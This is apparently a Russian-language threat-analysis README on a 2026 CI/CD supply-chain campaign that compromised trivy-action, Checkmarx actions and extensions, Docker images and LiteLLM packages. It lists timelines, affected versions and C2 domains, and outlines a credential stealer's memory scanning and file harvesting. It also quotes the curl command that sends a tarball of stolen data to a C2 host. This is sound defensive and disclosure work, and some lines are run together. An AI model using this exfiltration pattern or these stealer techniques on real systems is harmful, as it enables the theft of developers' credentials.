
CVE-2026-33634 (CVSS 9.4) — самая значимая атака на цепочку поставок CI/CD в 2026 году на данный момент.
CVE-2026-33634 (CVSS 9.4) — самая значимая атака на цепочку поставок CI/CD в 2026 году на данный момент.
В период с 19 по 25 марта 2026 года threat actor TeamPCP (также отслеживается как DeadCatx3, PCPcat, ShellForce, CanisterWorm) провёл каскадную атаку на цепочку поставок в пяти экосистемах: GitHub Actions, Docker Hub, OpenVSX, npm и PyPI. Начавшись с одного не полностью отозванного GitHub PAT, кампания распространилась на двух крупных вендоров open-source безопасности (Aqua Security и Checkmarx), четыре репозитория GitHub Actions, два расширения VS Code, реестры контейнеров и более 66 пакетов npm.
Этот репозиторий содержит полный технический разбор, подборку IOC-индикаторов (проверенную на ложные срабатывания) и готовые к развёртыванию запросы обнаружения для Microsoft Defender XDR.
| Дата (UTC) | Событие |
|---|---|
| 20 фев 2026 | Создана учётная запись hackerbot-claw; начинает сканирование репозиториев на предмет эксплуатируемых workflow pull_request_target |
| 28 фев 2026 | Первый компрометация Trivy через PWN-запрос; учётные данные эксфильтрованы |
| 1 мар 2026 | Aqua Security пытается сдержать угрозу — ротация учётных данных выполнена не полностью |
| 19 мар, 17:43 | Главный удар: TeamPCP делает force-push 75 из 76 тегов в aquasecurity/trivy-action + все 7 тегов в setup-trivy через скомпрометированную сервисную учётную запись aqua-bot |
| 19 мар, 18:22 | Бэкдор-версия Trivy v0.69.4 опубликована в GitHub Releases, Docker Hub, GHCR, ECR |
| 20 мар, 05:40 | Окно компрометации trivy-action закрывается (~12 часов) |
| 20 мар, 20:45 | CanisterWorm обнаружен при распространении через npm — скомпрометировано 47+ пакетов |
| 22 мар, 20:31 | TeamPCP дефейсит все 44 репозитория в GitHub-организации aquasec-com скриптованным 2-минутным залпом |
| 22 мар | Образы Docker Hub 0.69.5 и 0.69.6 запушены с тем же payload-стилером |
| 23 мар, 02:53 | Начинается волна Checkmarx: Вредоносные ast-results v2.53.0 и cx-dev-assist v1.7.0 опубликованы в OpenVSX через учётную запись ast-phoenix |
| 23 мар, 12:58 | Все 35 тегов Checkmarx/kics-github-action форс-пушнуты через скомпрометированную учётную запись cx-plugins-releases |
| 23 мар, 15:41 | Checkmarx сообщает, что проблема OpenVSX устранена |
| 23 мар, 16:50 | KICS GitHub Action снят с публикации после сообщения пользователя |
| 23 мар, 22:25 | Sysdig сообщает, что Checkmarx/ast-github-action v2.3.28 также скомпрометирован |
| 24 мар, 08:30 | Волна LiteLLM: Троянизированные litellm v1.82.7 и v1.82.8 опубликованы в PyPI с использованием украденных учётных данных |
| 24 мар, 11:25 | PyPI помещает в карантин вредоносные версии LiteLLM |
Основная причина: неполная ротация учётных данных после инцидента 28 февраля. PAT сервисной учётной записи aqua-bot либо не был отозван, либо атакующий наблюдал новый токен во время ротации.
TeamPCP использовал этот сохранённый доступ, чтобы делать force-push тегов версий во вредоносные коммиты-подделки. Каждый поддельный коммит клонировал метаданные оригинала (автор, временная метка, сообщение), заменяя при этом скрипт точки входа на payload-стилера. Страница релиза GitHub не показывала видимых изменений — даже бейдж "Immutable" отображался нормально.
Стилер — 204-строчный entrypoint.sh, самоидентифицирующийся как "TeamPCP Cloud stealer", — выполняет атаку в три этапа:
Этап 1: Сканирование памяти
Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory
Этап 2: Сбор учётных данных из файловой системы
Сканирует 50+ чувствительных путей, включая:
~/.ssh/*)~/.npmrc).envЭтап 3: Зашифрованная эксфильтрация
tpcp.tar.gzcurl POST на typo-squat домены, имитирующие вендоровtpcp-docs или docs-tpcp в GitHub-аккаунте жертвы, используя украденный GITHUB_TOKENВ не-CI Linux-системах вредонос:
~/.config/sysmon/sysmon.py)Украденные учётные данные волны Trivy позволили скомпрометировать экосистему Checkmarx. Каждая новая волна использовала другой typo-squat C2-домен, чтобы обойти блок-листы предыдущей волны:
| Волна | C2-домен | Имитация (typosquat) |
|---|---|---|
| Trivy | scan.aquasecurtiy[.]org | aquasecurity.org |
| Checkmarx/KICS | checkmarx[.]zone | checkmarx.com |
| LiteLLM | models.litellm[.]cloud | litellm.ai |
| Репозиторий | Теги скомпрометированы | Окно экспозиции (UTC) | Точка входа |
|---|---|---|---|
aquasecurity/trivy-action | 75 из 76 (безопасный: 0.35.0) | 19 мар 17:43 – 20 мар 05:40 | entrypoint.sh |
aquasecurity/setup-trivy | Все 7 тегов | 19 мар 17:43 – 21:44 | action.yaml |
Checkmarx/kics-github-action | Все 35 тегов | 23 мар 12:58 – 16:50 | setup.sh |
Checkmarx/ast-github-action | v2.3.28 (вероятно, все) | 23 мар ~22:25+ | setup.sh |
| Расширение | Вредоносная версия | Безопасная версия |
|---|---|---|
checkmarx.ast-results | 2.53.0 | >= 2.56.0 |
checkmarx.cx-dev-assist | 1.7.0 | >= 1.10.0 |
Оба расширения были опубликованы с интервалом в 12 секунд в 12:53 UTC 23 марта через учётную запись ast-phoenix. При активации environmentAuthChecker.js проверяет наличие учётных данных облачного провайдера, а затем загружает стилер второй стадии с checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz.
| Образ | Вредоносные теги |
|---|---|
docker.io/aquasec/trivy | 0.69.4, 0.69.5, 0.69.6 |
ghcr.io/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
public.ecr.aws/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
| Пакет | Версии | Бэкдор-файл |
|---|---|---|
litellm | 1.82.7, 1.82.8 | litellm/proxy/proxy_server.py |
Тройной вложенный base64-payload с набором инструментов для горизонтального перемещения в K8s. Постоянство через sysmon.service, опрашивающий checkmarx.zone/raw.
Паттерн эксфильтрации одинаков во всех волнах:
curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
-H "Content-Type: application/octet-stream" \
-H "X-Filename: tpcp.tar.gz" \
--data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz